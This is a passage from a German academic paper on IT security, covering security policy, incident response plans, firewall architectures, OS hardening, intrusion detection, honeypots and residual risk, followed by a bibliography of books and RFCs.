Wer ist verantwortlich für welche Daten? Im Rahmen einer Security Policy ist es auch entscheidend festzulegen wer verantwortlich für welche Daten ist und daher diese verändern, löschen oder anderen zugänglich machen darf. Es ist jedoch darauf Bedacht zu nehmen, dass insbesondere in diesem Fall Verantwortlichkeit und Autorität zusammenfallen (vgl. „Spaf's first principle of security administration"[87]). Denn hat der Verantwortliche nicht die Autorität Verletzungen zu sanktionieren, beschränkt sich seine Rolle auf jene des Sündenbocks im Falle des tatsächlichen Schadenseintritts. So sollten Administratoren, die verantwortlich für die Verfügbarkeit von Mehrbenutzer-Systemen sind, die Autorität haben, die Accounts jener Benutzer zu sperren, die lokale DoS Angriffe gegen das System starten.

Eine Security Policy ist wie bereits erwähnt allgemein zu formulieren. Konkrete Personen oder bestimmte Server, spezifische Hardware oder Softwareumgebungen sollten hierbei nicht genannt werden.
Eine Security Policy sollte sich ua an den Prinzipien des „Least Privilege"[88] und „Defense in Depth"[89] orientieren. Das Prinzip des „Least Privilege" besagt, dass jede Person nur jene Zugriffsrechte haben soll, die erforderlich sind um ihre Tätigkeit zu verrichten. Insbesondere ist es nicht erforderlich, dass das Management auf Grund ihrer höheren Position in der Organisationshierarchie administrative Zugriffsrechte erhält. „Defense in Depth" fordert eine Redundanz der Abwehrmaßnahmen. Je nach Sicherheitsanforderung kann daher neben dem Härten des Betriebssystems ua eine Firewall, ein NIDS, ein Honeypot und ein HIDS eingerichtet werden (siehe jeweils unten).

5.2 Incident Response Plan

Ein Incident Response Plan[90] legt fest, wie auf Vorfälle, die die Vertraulichkeit, Verfügbarkeit oder Integrität von Daten bedrohen, reagiert werden soll. Dies kann der Beginn eines DoS-Angriffs, ein versuchter oder erfolgreicher Hack oder aber auch ein Hardwareausfall sein. Ein Incident Response Plan muss folgende Fragen klären:

---

[85] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S. 35f
[86] *Born*, RoI und TCO: Anspruch und Realität, iX 10/2003 S. 109ff
[87] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S. 49
[88] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S. 235f
[89] *Northcutt/Zeltser/Winters/Fredrick/Ritchey*, Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems, New Riders Publishing, 2002, S. 613ff
[90] *Northcutt/Zeltser/Winters/Fredrick/Ritchey*, Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems, New Riders Publishing, 2002, S. 478ff

Wie soll die Alarmierung im Falle eines Incidents erfolgen? Möglichkeiten sind hierbei ua Telefon, E-Mail, Pager und SMS.

Wer hat auf den Alarm zu reagieren? Die schlimmsten Szenarien sind jene in denen sich niemand für zuständig hält. Es muss klar festgelegt werden, welche Person in welchem Zeitraum zuständig ist und an wen die Zuständigkeit im Falle der Verhinderung des primär zuständigen übergeht.

Wer soll sonst von dem Vorfall informiert werden? Oft ist es erforderlich, dass das Management oder andere Administratoren zwecks Bereitschaft informiert werden. Ebenso sollte geklärt werden, zu welchem Zeitpunkt und unter welchen Bedingungen die Strafverfolgungsbehörden zu informieren sind.

Welche Schritte soll der Administrator zur Klärung des Vorfalles vornehmen? Da im Ernstfall bisweilen die Panik um sich greift, ist es von erheblichem Vorteil schriftliche Anweisungen zur Hand zu haben, die das Vorgehen bei der Determinierung der Problemursache festlegen. Diese Anweisungen sollten für die konkrete technische Infrastruktur der Organisation zugeschnitten sein.

Wer ist befugt anhand welcher Kriterien welche Entscheidungen zu treffen? Ist beispielsweise der Administrator befugt, im Falle eines vermuteten Hacks das E-Businesssystem zur Geschäftszeit offline zu nehmen? Diese und ähnliche Fragen sollten im Vorhinein in aller Ruhe geklärt werden um übereilte Entscheidungen und unnötige Schuldzuweisungen zu vermeiden.

In welchem Umfang soll der Administrator seine Tätigkeiten dokumentieren? Eine gute Dokumentation eines Incident Response kann dabei helfen aus eigenen Fehler zu lernen. Darüber hinaus kann sie auch zur Voraussetzung für eine allfällige Strafverfolgung des Angreifers werden.

5.2 Firewallarchitekturen

Es kann grundsätzliche eine Unterscheidung in statische Paketfilter, stateful Firewalls und Proxys getroffen werden. Jeder der Varianten hat ihre Vor- und Nachteile, wodurch in komplexen Umgebungen alle drei Varianten in Kombination eingesetzt werden können. Insbesondere in Firewallumgebungen wird der Unterschied zwischen einer Default-Deny und einer Default-Allow Security Policy schnell merkbar. Default-Allow hat den wesentlichen Nachteil allen noch nicht bekannten Bedrohungen Tür und Tor zu öffnen.
Personal Firewalls werden unter 5.3 Betriebssystemsicherheit behandelt.

5.2.1 Statische Paketfilter

Statische Paketfilter können einzelne Pakete nicht im Kontext anderer Pakete behandeln. Sie eignen sich jedoch sehr gut zur Filterung der Pakete anhand der IP-Adresse. So kann ein statischer Paketfilter sehr effektiv dazu eingesetzt werden, sicherzustellen, dass nur Pakete von öffentlichen[91] IP-Adressen hinein bzw. nur von IP-Adressen der Organisation hinaus gelangen, wodurch IP-Spoofing von beiden Richtungen erschwert wird. Weiters können beispielsweise Paketen mit einer Broadcast-Zieladresse geblockt werden um Smurf-Angriffe

[91] Die Verwendung von privaten IP-Adressen (definiert in RFC1918) als Absenderadresse von Paketen aus dem Internet ist ein sicheres Anzeichen für IP-Spoofing.

zu verhindern. Auf Grund der eingeschränkten Funktionalität bieten statische Paketfilter eine bessere Performance, als andere Architekturen.

5.2.2 Stateful Firewalls

Stateful Firewalls sind in der Lage, einzelne Pakete im Kontext anderer Pakete zu behandeln. So kann ein eingehendes UDP-Paket als Antwort auf ein, zuvor an einen externen DNS-Server gerichtete Anfrage klassifiziert, und daher durchgelassen werden. Im Unterschied dazu müsste ein statischer Paketfilter um die Antwort auf die ausgehende DNS-Anfrage zu ermöglichen, alle eingehenden UDP-Pakete[92] durchlassen.
Eine stateful Firewall lässt ein TCP-Paket, das die Bits SYN und ACK gesetzt hat, nur dann durch, wenn diesem ein TCP-Paket mit nur einem SYN-Bit vorangegangen ist.
Stateful Firewalls verfügen oft auch über die Möglichkeit von Network Address Translation (NAT). Die häufigste Variante ist Source Network Address Translation[93] (SNAT). Hierbei verwenden mehrere hinter der Firewall befindlichen Clients nach außen dieselbe IP-Adresse (jene der Firewall). Bei ausgehenden Paketen wird die Source-Adresse auf jene der Firewall umgeschrieben (daher Source NAT). Bei eingehenden Paketen muss im Gegenzug dazu, die Zieladresse auf jene des Clients umgeschrieben werden. Da mehrere Clients hinter der Firewall SNAT verwenden, muss auch die Portnummer geändert werden. Daher spricht man auch von Port Address Translation (PAT).
Eine weitere Variation von NAT ist Destination Address Translation (DNAT). Hierbei sind nicht Clients, sondern Server hinter der Firewall, die jedoch nach außen hin mit der Selben IP-Adresse auftreten. Im Fall von DNAT muss die Destination-Adresse bei eingehenden (daher Destination NAT) und die Quelladresse bei ausgehenden Paketen umgeschrieben werden.
Die bei NAT hinter der Firewall befindlichen Rechner verwenden idR private IP-Adressen[94].
Neben kommerziellen Produkten erfreuen sich insbesondere Linux mit netfilter/iptables[95] und OpenBSD mit Packet Filter[96] großer Beliebtheit als stateful Firewall mit NAT-Funktionalität.

5.2.3 Proxies

Ein Proxy[97] arbeitet auf Applikationsebene (Layer 7 des OSI-Modells) und fungiert als Stellvertreter für den Client. Proxies sind applikationsspezifisch. Es bedarf daher für jedes Protokoll (HTTP, FTP,…) eines eigenen Proxys. Eine Ausnahme hiervon stellen generische Proxies[98] dar.
Unter Verwendung eines Proxys erfolgt der Aufruf einer Webseite vereinfacht dargestellt in 3 Schritten. Der Client stellt eine Verbindung mit dem Proxy her und teilt ihm die gewünschte URL mit. Der Proxy verbindet sich daraufhin mit dem angegebenen HTTP-Server und sendet an diesen eine HTTP-Anfrage nach der vom Client angeforderten Ressource. Nachdem der Proxy die Daten vom HTTP-Server erhalten hat, übermittelt er sie and den Client.
Ein Proxy bietet wesentliche Vorteile, da zu keinem Zeitpunkt eine direkte Verbindung zwischen den Rechnern im internen Netz und potentiell feindlichen Servern im Internet besteht. Ein Proxy kann, da er auf Applikationsebene arbeitet, eine inhaltliche Kontrolle der ein- und ausgehenden Daten vornehmen.

---

[92] Genauer: alle UDP-Pakete die an einen Port größer 1023 gehen. Dies würde dennoch ein riesiges Loch in die Firewall reißen.
[93] *Kirch/Dawson*, Linux Network Administrator's Guide, 2ed Edition, O'Reilly, 2000, S. 211ff
[94] Private IP-Adressen werden in RFC1918 spezifiziert. Es sind IP-Adressen des Class-A Networks 10/8, des Class-B Networks 172.16/12 und des Class-C Networks 192.168/16.
[95] Vgl. http://www.netfilter.org
[96] Vgl. http://www.openbsd.org/faq/pf
[97] *Northcutt/Zeltser/Winters/Fredrick/Ritchey*, Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems, New Riders Publishing, 2002, S. 85ff
[98] Der prominenteste Vertreter ist SOCKS (http://www.socks.permeo.com).

Seine Nachteile bestehen in einer verminderten Performance und der Notwendigkeit eines neuen Proxys für jedes Protokoll auf Anwendungsebene. Ein generischer Proxy beseitigt zweiteren Nachteil ermöglicht aber keine inhaltliche Kontrolle der gesendeten Daten, dar er das Protokoll selbst nicht versteht. Der Anwendungsbereich von generischen Proxys ist daher beschränkt.
Eine besondere Form des Proxy ist der Reverse Proxy. Dieser schützt nicht interne Clients bei der Kommunikation mit externen Servern sondern interne Server bei der Kommunikation mit externen Clients. Ein Reverse Proxy kann eingehende Requests auf ihre Gefährlichkeit prüfen und gegebenenfalls modifizieren oder blockieren.

5.3 Betriebssystemsicherheit

Für Heimrechner sind zumindest folgende drei Maßnahmen[99] zur Erhöhung der Sicherheit sehr empfehlenswert:
Der Einsatz einer Personal Firewall, wie sie seit Service Pack 2[100] auch in ausreichender Weise in Windows integriert ist, stellt für Heimanwender meist die einzige Möglichkeit dar um unerwünschten Netzwerkverkehr präventiv zu blockieren. Die zweite empfohlene Maßnahme besteht im Einspielen verfügbarer Patches. Die dritte, insbesondere für Desktops geltend Empfehlung ist die Verwendung einer Anti-Viren Software mit aktuellen Virussignaturen.
Insbesondere für Server sind darüber hinaus noch weitere Abwehrmaßnahmen ratsam. Dem Prinzip des „least privilege“ folgend, sollten Dienste (bzw. Daemons) nur mit den für sie erforderlichen Rechten laufen. Unter Unix bedeutet dies einen Daemon nicht mit root-Rechten laufen zu lassen[101]. Eine weitere Abwehrmaßnahme unter Unix besteht im Einrichten eines chroot jail[102]. Unix ist ein Datei-basiertes Betriebssystem[103]. Nahezu alle Einheiten des Betriebssystems (Befehle, Konfigurationen, Sicherheitsmechanismen, Geräte, …) werden als Dateien behandelt. Eine Datei wird über ihre übergeordneten Ordner referenziert, wobei das Root-Directory „/“ den Ausgangspunkt bildet. Wird für einen Prozess, beispielsweise den DNS-Server BIND, /usr/local/bind-chroot als Dateisystem-Root festgelegt, können nur noch Dateien unterhalb von /usr/local/bind-chroot referenziert werden. Gelingt es einem Hacker über einen Prozess, der ge-chrooted wurde in ein System einzudringen, müsste er erst auch aus dem Chroot ausbrechen um auf das ganze System Zugriff zu erhalten. Dies ist idR jedoch äußerst schwer möglich.

5.4 Der Einsatz eines Intrusion Detection System (IDS)

Grundsätzlich kann bei der Form eines IDS[104] in ein Host-based Intrustion Detection System (HIDS) und ein Network Intrusion Detection System[105] (NIDS) unterschieden werden. Die Funktionsweise und Bedeutung eines HIDS wurde bereits oben erläutert. Ein NIDS dient der Früherkennung bzw. Nachvollziehbarkeit eines netzwerkbasierten Angriffs. Ein traditionelles NIDS arbeitet – wie der wohl prominenteste Vertreter Snort[106] – mit Patterns bekannter Angriffe. Daher ist ähnlich, wie bei Anti-Viren Software die Aktualität der Patterns

[99] Vgl. http://www.microsoft.com/athome/security/protect/default.aspx (13.12.2004)
[100] Vgl. http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/winxpsp2.mspx (13.12.2004)
[101] Um einen privilegiert Port (kleiner 1024) verwenden zu können, sind unter Unix root-Rechte erforderlich. Daher wird der Deamon idR mit root-Rechten gestartet, gibt diese aber sobald als möglich auf.
[102] *Garfinkel/Spafford*, Practical Unix and Internet Security, 3rd Edition, O'Reilly, 2003, S 578ff
[103] *Frisch*, Unix System Administration, 2. Aufl, O'Reilly, 2000, S. 26
[104] *Peikari/Chuvakin*, Security Warrior, O'Reilly, 2004, S. 424ff
[105] *Northcutt/Zeltser/Winters/Fredrick/Ritchey*, Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems, New Riders Publishing, 2002, S. 161ff
[106] Vgl. http://www.snort.org

entscheidend. Versucht der Angreifer zunächst verschiedene Angriffsarten und ist jedoch erfolglos, kann ein NIDS dem Systemverantwortlichen den entscheidenden Vorsprung geben um entsprechend reagieren zu können. Ist dies nicht der Fall kann es noch immer wertvolle Dienste dabei leisten zu determinierten welche Systeme durch den Angriff unter Ausnützung welcher Sicherheitslücken kompromittiert wurden. Die betreffenden Systeme können dann isoliert und – je nach Security Policy – vom Angreifer gesäubert oder gänzlich neu aufgesetzt werden. Da die Sicherheitslücke durch das NIDS bekannt ist, kann diese behoben werden.

Die Qualität eines IDS ergibt sich durch die prozentuelle Anzahl der „False Positives“ und „False Negatives“. False Positive ist die fälschliche Identifikation eines harmlosen Netzwerkverkehrs als Angriff. False Negative ist die fälschliche Identifikation eines Angriffs als harmloser Netzwerkverkehr. Ersteres führt zu einem höheren Arbeitsaufwand des, für das IDS zuständigen Administrators. Zweiteres lässt erfolgreiche Angriffe uU unbemerkt. Zunehmend werden auch IDS entwickelt die eine Hybridlösung zwischen NIDS und HIDS darstellen. Die neuesten Entwicklungen gehen von einem Intrustion Detection System zu einem Intrusion Prevention System[107] (IPS). Dieses greift automatisch in das Geschehen ein und kann so beispielsweise, wenn auf einer Firewall installiert, alle Datenpakete eines Angreifers sofort blockieren. Dies ist jedoch mit Vorsicht zu genießen, da es leicht durch IP-Spoofing zu einem DoS kommen kann.

5.5 Honeypots

Honeypots[108] (zu Deutsch Honigtöpfe) sind Computersysteme die allein dem Zweck dienen, dass auf diese (auch erfolgreiche) Angriffe unternommen werden. Hierfür gibt es grundsätzlich zwei unterschiedliche Motivationen. Die erste besteht darin die Vorgehensweise von Hackern zu erforschen[109], um dadurch bessere Abwehrmaßnahmen implementieren zu können. Die zweite Motivation liegt in der Täuschung von Hackern, die anstatt „echter“ Systeme zu attackieren ihre Zeit auf den Angriff des Honeypots verwenden. Dies kann durch den Einsatz eines IDS dem Administrator einen zeitlichen Vorsprung verschaffen, der uU erforderlich ist um sich wirksam gegen den Angriff wehren zu können.

6 Das Restrisiko

Viele Risiken können durch technische und organisatorische Gegenmaßnahmen beseitigt oder zumindest wesentlich gemindert werden. Historisch betrachtet ist das Internet in den letzten Jahren wesentlich bedrohungsreicher geworden (vgl. die Survival Time History[110] des Internet Storm Centers des SANS Institute). Aber auch im Bereich der Gegenmaßnahmen findet ein stetiger Fortschritt statt. Eine, der Risikobewertung folgende Kosten-Nutzen-Analyse ergibt welche Gegenmaßnahmen tatsächlich gesetzt werden sollen. Die nicht beseitigbaren oder umwälzbaren Risiken sind daher als Restrisiko zu tragen. So wie in anderen Lebensbereichen auch, gilt, dass es eine hundertprozentige Sicherheit nicht gibt.

[107] *Lüdorf*, IDS/IPS: Von der Angriffserkennung zur Abwehr, iX 8/2004 S. 90
[108] *Peikari/Chuvakin*, Security Warrior, O’Reilly, 2004, S. 446ff
[109] So das Honeynet Project (http://project.honeynet.org).
[110] http://isc.sans.org/survivalhistory.php (17.12.2004)

7 Literaturverzeichnis

Zwicky/Cooper/Chapman, Building Internet Firewalls, 2ed Edition, O'Reilly & Associates, 2000

Albitz/Liu, DNS and BIND, 4th Edition, O'Reilly & Associates, 2001

Northcutt/Zeltser/Winters/Fredrick/Ritchey, Inside Network Perimeter Security: The Definitive Guide to Firewalls, VPNs, Routers, and Intrusion Detection Systems, New Riders Publishing, 2002

Kirch/Dawson, Linux Network Administrator's Guide, 2ed Edition, O'Reilly & Associates, 2000

Stanfield/Smith, Linux System Administration, Sybex, 2001

Russel/Crawford/Gerend, Microsoft Windows 2000 Server Administrator's Companion, Second Edition, Microsoft Press, 2002

Dent, Postfix: The Definitive Guide, O'Reilly, 2003

Garfinkel/Spafford, Practical Unix and Internet Security, 3rd Edition, O'Reilly & Associates, 2003

Wainwright, Professional Apache 2.0, Wrox Press, 2002

Welsh/Dalheimer/Kaufman, Running Linux, 3rd Edition, O'Reilly & Associates, 1999

Peikari/Chuvakin, Security Warrior, O'Reilly & Associates, 2004

Barrett/Silverman, SSH – The Secure Shell, O'Reilly & Associates, 2001

Preston, Unix Backup & Recovery, O'Reilly & Associates, 1999

Frisch, Unix System Administration, 2. Aufl, O'Reilly & Associates, 2000

Elledge, Phishing: An Analysis of a Growing Problem, GIAC Security Essentials Certification (GSEC) Practical, Version 1.4b, Option 1, SANS Institute 2004, http://www.sans.org/rr/whitepapers/threats/1417.php

Hochmuth, Cyber Attacks Are All About Money: Q&A with FBI's Dave Thomas, Network World, 29. November 2004, http://www.nwfusion.com/supp/2004/cybercrime/112904qanda.html (16.12.2004)

Middendorf, Datenbanken: Sicherheitslecks und wie man sie stopft; iX 11/2003 S. 110

Tennert, Mit Exec Shield gegen Buffer-Overflow-Attacken, iX 10/2004 S. 112

Hamm, FTP Secure oder Secure FTP?, iX 10/2004 S. 102

Lüdorf, IDS/IPS: Von der Angriffserkennung zur Abwehr, iX 8/2004 S. 90

Born, RoI und TCO: Anspruch und Realität, iX 10/2003 S. 109

Kallnik/Pape/Schröter/Strobel, Sicherheit: Buffer-Overflows, c't 23/2001, S. 216

Gundel, XSS: Cross Site Scripting – Gefahr für Benutzerdaten; iX 8/2004, S. 48

Postel, User Datagram Protocol, RFC 768, August 1980, ftp://ftp.rfc-editor.org/in-notes/rfc768.txt

Postel, Internet Control Message Protocol, RFC 792, September 1981, ftp://ftp.rfc-editor.org/in-notes/rfc792.txt

Postel, Transmission Control Protocol, RFC 793, September 1981, ftp://ftp.rfc-editor.org/in-notes/rfc793.txt

Postel, Simple Mail Transfer Protocol, RFC 821, August 1982, ftp://ftp.rfc-editor.org/in-notes/rfc821.txt

Plummer, Ethernet Address Resolution Protocol: Or converting network protocol addresses to 48.bit Ethernet address for transmission on Ethernet hardware, RFC 826, November 1982, ftp://ftp.rfc-editor.org/in-notes/rfc826.txt

Postel/Reynolds, File Transfer Protocol, RFC 959, Oktober 1995, ftp://ftp.rfc-editor.org/in-notes/rfc959.txt

Deutsch/Emtage/Marine, How to Use Anonymous FTP, RFC1635, Mai 1994, ftp://ftp.rfc-editor.org/in-notes/rfc1635.txt

Callaghan/Pawlowski/Staubach, NFS Version 3 Protocol Specification, RFC 1813, Juni 1995, ftp://ftp.rfc-editor.org/in-notes/rfc1813.txt

Rekhter/Moskowitz/Karrenberg/Groot/Lear, Address Allocation for Private Internets, RFC1918, Februar 1996, ftp://ftp.rfc-editor.org/in-notes/rfc1918.txt

Myers/Rose, Post Office Protocol - Version 3, RFC 1939, Mai 1996, ftp://ftp.rfc-editor.org/in-notes/rfc1939.txt

Fielding/Gettys/Mogul/Frystyk/Berners-Lee, Hypertext Transfer Protocol -- HTTP/1.1, RFC 2068, Jänner 1997, ftp://ftp.rfc-editor.org/in-notes/rfc2068.txt

Dierks/Allen, The TLS Protocol Version 1.0, RFC 2246, Jänner 1999, ftp://ftp.rfc-editor.org/in-notes/rfc2246.txt

Callas/Donnerhacke/Finney/Thayer, OpenPGP Message Format, RFC 2440, November 1998, ftp://ftp.rfc-editor.org/in-notes/rfc2440.txt

Eastlake/Panitz, Reserved Top Level DNS Names, RFC 2606, Juni 1999, ftp://ftp.rfc-editor.org/in-notes/rfc2606.txt

Fielding/Gettys/Mogul/Frystyk/Masinter/Leach/Berners-Lee, Hypertext Transfer Protocol -- HTTP/1.1, RFC 2616, Juni 1999, ftp://ftp.rfc-editor.org/in-notes/rfc2616.txt

Rescorla, Diffie-Hellman Key Agreement Method , RFC 2631, Juli 1999, ftp://ftp.rfc-editor.org/in-notes/rfc2631.txt

Ramsdell (Editor), S/MIME Version 3 Certificate Handling, RFC 2632, Juli 1999, ftp://ftp.rfc-editor.org/in-notes/rfc2632.txt

Ramsdell (Editor), S/MIME Version 3 Message Specification, RFC 2633, Juli 1999, ftp://ftp.rfc-editor.org/in-notes/rfc2633.txt

Rescorla, HTTP Over TLS, RFC2818, Mai 2000, ftp://ftp.rfc-editor.org/in-notes/rfc2818.txt

Kristol/Montulli, HTTP State Management Mechanism, RFC 2965, Oktober 2000, ftp://ftp.rfc-editor.org/in-notes/rfc2965.txt

Elkins/Del Torto/Levien/Roessler, MIME Security with OpenPGP, RFC 3156, August 2001, ftp://ftp.rfc-editor.org/in-notes/rfc3156.txt

Housley, Cryptographic Message Syntax (CMS), RFC 3369, August 2002, ftp://ftp.rfc-editor.org/in-notes/rfc3369.txt

Housley, Cryptographic Message Syntax (CMS) Algorithms, RFC 3370, August 2002, ftp://ftp.rfc-editor.org/in-notes/rfc3370.txt

Crispin, Internet Message Access Protocol - Version 4rev1, RFC 3501, März 2003, ftp://ftp.rfc-editor.org/in-notes/rfc3501.txt

Shepler/Callaghan/Robinson/Thurlow/Beame/Eisler/Noveck, Network File System (NFS) version 4 Protocol, RFC 3530, April 2003, ftp://ftp.rfc-editor.org/in-notes/rfc3530.txt